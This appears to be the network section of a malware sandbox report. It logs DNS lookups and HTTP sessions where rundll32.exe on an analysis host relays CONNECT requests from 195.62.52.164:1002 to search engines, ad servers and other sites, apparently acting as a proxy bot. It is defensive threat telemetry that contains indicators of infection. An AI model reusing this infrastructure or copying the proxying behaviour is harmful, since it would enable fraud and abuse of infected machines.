Dec 10, 2023 17:51:29.816883087 CET	1.1.1.1	192.168.2.6	0x6dfa	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		52.44.77.224	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:51:29.816883087 CET	1.1.1.1	192.168.2.6	0x6dfa	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		52.6.135.129	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:51:29.816883087 CET	1.1.1.1	192.168.2.6	0x6dfa	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		52.206.39.108	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:51:29.816883087 CET	1.1.1.1	192.168.2.6	0x6dfa	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		44.215.216.20	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:51:29.816883087 CET	1.1.1.1	192.168.2.6	0x6dfa	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		54.226.208.168	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:51:29.816883087 CET	1.1.1.1	192.168.2.6	0x6dfa	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		54.209.219.202	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:51:29.816883087 CET	1.1.1.1	192.168.2.6	0x6dfa	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		52.21.201.77	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:51:29.816883087 CET	1.1.1.1	192.168.2.6	0x6dfa	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		52.44.63.255	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:51:33.352996111 CET	1.1.1.1	192.168.2.6	0xb161	No error (0)	consent.yahoo.com	real.rotation.guce.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2023 17:51:33.352996111 CET	1.1.1.1	192.168.2.6	0xb161	No error (0)	real.rotation.guce.aws.oath.cloud	prod-rotation-v2.guce.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2023 17:51:33.352996111 CET	1.1.1.1	192.168.2.6	0xb161	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		44.215.216.20	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:51:33.352996111 CET	1.1.1.1	192.168.2.6	0xb161	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		54.226.208.168	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:51:33.352996111 CET	1.1.1.1	192.168.2.6	0xb161	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		52.6.135.129	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:51:33.352996111 CET	1.1.1.1	192.168.2.6	0xb161	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		54.209.219.202	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:51:33.352996111 CET	1.1.1.1	192.168.2.6	0xb161	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		52.44.77.224	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:51:33.352996111 CET	1.1.1.1	192.168.2.6	0xb161	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		52.206.39.108	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:51:33.352996111 CET	1.1.1.1	192.168.2.6	0xb161	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		54.196.171.224	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:51:33.352996111 CET	1.1.1.1	192.168.2.6	0xb161	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		52.21.201.77	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:51:44.905795097 CET	1.1.1.1	192.168.2.6	0x76ed	No error (0)	steamcommunity.com		23.194.234.100	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:52:00.187203884 CET	1.1.1.1	192.168.2.6	0x7c1f	No error (0)	work.a-poster.info		37.1.217.172	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49712	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:48:03.231206894 CET	185	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:48:03.360785007 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49714	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:48:03.981107950 CET	211	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:48:03.983046055 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49716	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:48:04.926547050 CET	222	IN	CONNECT www.yahoo.com:443 HTTP/1.1 Host: www.yahoo.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:48:05.054780960 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49719	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:48:07.780913115 CET	211	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:48:07.851085901 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49725	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:48:12.952104092 CET	230	IN	CONNECT www.google.com:443 HTTP/1.1 Host: www.google.com:443 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:48:13.081185102 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49726	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:48:13.153500080 CET	211	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:48:13.155745029 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49729	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:48:14.479842901 CET	228	IN	CONNECT search.yahoo.com:443 HTTP/1.1 Host: search.yahoo.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:48:14.611191988 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49734	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:48:19.014652014 CET	228	IN	CONNECT search.yahoo.com:443 HTTP/1.1 Host: search.yahoo.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:48:19.016300917 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49735	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:48:19.411636114 CET	230	IN	CONNECT www.google.com:443 HTTP/1.1 Host: www.google.com:443 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:48:19.416986942 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49741	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:48:23.070969105 CET	228	IN	CONNECT search.yahoo.com:443 HTTP/1.1 Host: search.yahoo.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:48:23.073091030 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49746	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:48:26.863323927 CET	228	IN	CONNECT search.yahoo.com:443 HTTP/1.1 Host: search.yahoo.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:48:26.865309954 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49747	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:48:27.136224985 CET	185	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:48:27.138241053 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49752	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:48:28.817578077 CET	33	IN	CONNECT lesta.ru:443 HTTP/1.0
Dec 10, 2023 17:48:29.186244965 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49756	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:48:30.943630934 CET	228	IN	CONNECT search.yahoo.com:443 HTTP/1.1 Host: search.yahoo.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:48:30.945684910 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49757	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:48:31.252890110 CET	185	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:48:31.255059958 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49760	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:48:35.037451029 CET	228	IN	CONNECT search.yahoo.com:443 HTTP/1.1 Host: search.yahoo.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:48:35.039378881 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49764	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:48:37.163886070 CET	258	IN	CONNECT www.googleadservices.com:443 HTTP/1.1 Host: www.googleadservices.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.54 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:48:37.306467056 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49765	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:48:37.247437954 CET	211	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:48:37.249135971 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49766	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:48:37.588090897 CET	185	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:48:37.589656115 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49777	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:48:44.199985981 CET	228	IN	CONNECT search.yahoo.com:443 HTTP/1.1 Host: search.yahoo.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:48:44.202001095 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	49781	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:48:48.049987078 CET	228	IN	CONNECT search.yahoo.com:443 HTTP/1.1 Host: search.yahoo.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:48:48.052309990 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49785	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:48:50.194534063 CET	246	IN	CONNECT ad.doubleclick.net:443 HTTP/1.1 Host: ad.doubleclick.net:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.54 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:48:50.322474003 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	49788	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:48:52.150232077 CET	228	IN	CONNECT search.yahoo.com:443 HTTP/1.1 Host: search.yahoo.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:48:52.151920080 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	49789	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:48:52.206526995 CET	33	IN	CONNECT lesta.ru:443 HTTP/1.0
Dec 10, 2023 17:48:52.208026886 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	49793	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:48:52.984983921 CET	266	IN	CONNECT www.botoxchronicmigraine.com:443 HTTP/1.1 Host: www.botoxchronicmigraine.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.54 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:48:53.117408991 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	49797	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:48:56.254127979 CET	228	IN	CONNECT search.yahoo.com:443 HTTP/1.1 Host: search.yahoo.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:48:56.255362988 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	49799	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:48:56.898210049 CET	238	IN	CONNECT www.google.com:443 HTTP/1.1 Host: www.google.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.54 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:48:56.900007010 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	49801	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:48:58.710805893 CET	33	IN	CONNECT lesta.ru:443 HTTP/1.0
Dec 10, 2023 17:48:58.712169886 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	49803	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:48:59.554636955 CET	258	IN	CONNECT www.googleadservices.com:443 HTTP/1.1 Host: www.googleadservices.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.54 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:48:59.555974960 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	49806	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:49:01.560683012 CET	432	IN	GET http://www.google.com/ncr HTTP/1.1 Host: www.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept-Encoding: gzip, deflate Proxy-Connection: Keep-Alive Connection: Upgrade, HTTP2-Settings Upgrade: h2c HTTP2-Settings: AAMAAABkAAQCAAAAAAIAAAAA Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Dec 10, 2023 17:49:01.843975067 CET	1549	OUT	HTTP/1.1 302 Found Location: http://www.google.com/ Cache-Control: private Content-Type: text/html; charset=UTF-8 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-oIYQ-FM0P7cn83y94YDupQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/other"}]} Permissions-Policy: unload=() Origin-Trial: Ap+qNlnLzJDKSmEHjzM5ilaa908GuehlLqGb6ezME5lkhelj20qVzfv06zPmQ3LodoeujZuphAolrnhnPA8w4AIAAABfeyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJQZXJtaXNzaW9uc1BvbGljeVVubG9hZCIsImV4cGlyeSI6MTY4NTY2Mzk5OX0= Origin-Trial: AvudrjMZqL7335p1KLV2lHo1kxdMeIN0dUI15d0CPz9dovVLCcXk8OAqjho1DX4s6NbHbA/AGobuGvcZv0drGgQAAAB9eyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJCYWNrRm9yd2FyZENhY2hlTm90UmVzdG9yZWRSZWFzb25zIiwiZXhwaXJ5IjoxNjkxNTM5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0= Date: Sun, 10 Dec 2023 16:49:01 GMT Server: gws Content-Length: 219 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Set-Cookie: 1P_JAR=2023-12-10-16; expires=Tue, 09-Jan-2024 16:49:01 GMT; path=/; domain=.google.com; Secure; SameSite=none Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 22 3e 68 65 72 65 3c 2f 41 3e 2e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="http://www.google.com/">here</A>.</BODY></HTML>
Dec 10, 2023 17:49:02.192542076 CET	495	IN	GET http://www.google.com/ HTTP/1.1 Host: www.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept-Encoding: gzip, deflate Proxy-Connection: Keep-Alive Connection: Upgrade, HTTP2-Settings Upgrade: h2c HTTP2-Settings: AAMAAABkAAQCAAAAAAIAAAAA Cookie: 1P_JAR=2023-12-10-16 Referer: http://www.google.com/ncr Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Dec 10, 2023 17:49:02.833981037 CET	2119	OUT	HTTP/1.1 302 Found Location: http://www.google.com/sorry/index?continue=http://www.google.com/&q=EgRmgZjUGP7X16sGIjC2eTkTmqRJus4nVY7rzygMgkXV6GMklQrRaW0TRvVbbEWsegS2r1HsDn59A9I5-F0yAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM x-hallmonitor-challenge: CgwI_tfXqwYQmLjS4QISBGaBmNQ Content-Type: text/html; charset=UTF-8 Content-Security-Policy-Report-Only: object-src 'none';base-uri 'self';script-src 'nonce-6uY1wofMzO6V7nP8G8RDcw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other-hp Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/other"}]} Permissions-Policy: unload=() Origin-Trial: Ap+qNlnLzJDKSmEHjzM5ilaa908GuehlLqGb6ezME5lkhelj20qVzfv06zPmQ3LodoeujZuphAolrnhnPA8w4AIAAABfeyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJQZXJtaXNzaW9uc1BvbGljeVVubG9hZCIsImV4cGlyeSI6MTY4NTY2Mzk5OX0= Origin-Trial: AvudrjMZqL7335p1KLV2lHo1kxdMeIN0dUI15d0CPz9dovVLCcXk8OAqjho1DX4s6NbHbA/AGobuGvcZv0drGgQAAAB9eyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJCYWNrRm9yd2FyZENhY2hlTm90UmVzdG9yZWRSZWFzb25zIiwiZXhwaXJ5IjoxNjkxNTM5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0= Date: Sun, 10 Dec 2023 16:49:02 GMT Server: gws Content-Length: 396 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Set-Cookie: 1P_JAR=2023-12-10-16; expires=Tue, 09-Jan-2024 16:49:02 GMT; path=/; domain=.google.com; Secure; SameSite=none Set-Cookie: AEC=Ackid1TUsXHZaGtNbDfzLA9mAfbXpaSraxKliPlz-amxEg2oIyHOewBuIw; expires=Fri, 07-Jun-2024 16:49:02 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=lax Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 6f 72 72 79 2f 69 6e 64 65 78 3f 63 6f 6e 74 69 6e 75 65 3d 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 26 61 6d 70 3b 71 3d 45 67 52 6d 67 5a 6a 55 47 50 37 58 31 36 73 47 49 6a 43 32 65 54 6b 54 6d 71 52 4a 75 73 34 6e 56 59 37 72 7a 79 67 4d 67 6b 58 56 36 47 4d 6b 6c 51 72 52 61 57 30 54 52 76 56 62 62 45 57 73 65 67 53 32 72 31 48 73 44 6e 35 39 41 39 49 35 2d 46 30 79 41 58 4a 4b 47 56 4e 50 55 6c 4a 5a 58 30 46 43 56 56 4e 4a 56 6b 56 66 54 6b 56 55 58 30 31 46 55 31 4e 42 52 30 56 61 41 55 4d 22 3e 68 65 72 65 3c 2f 41 3e 2e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 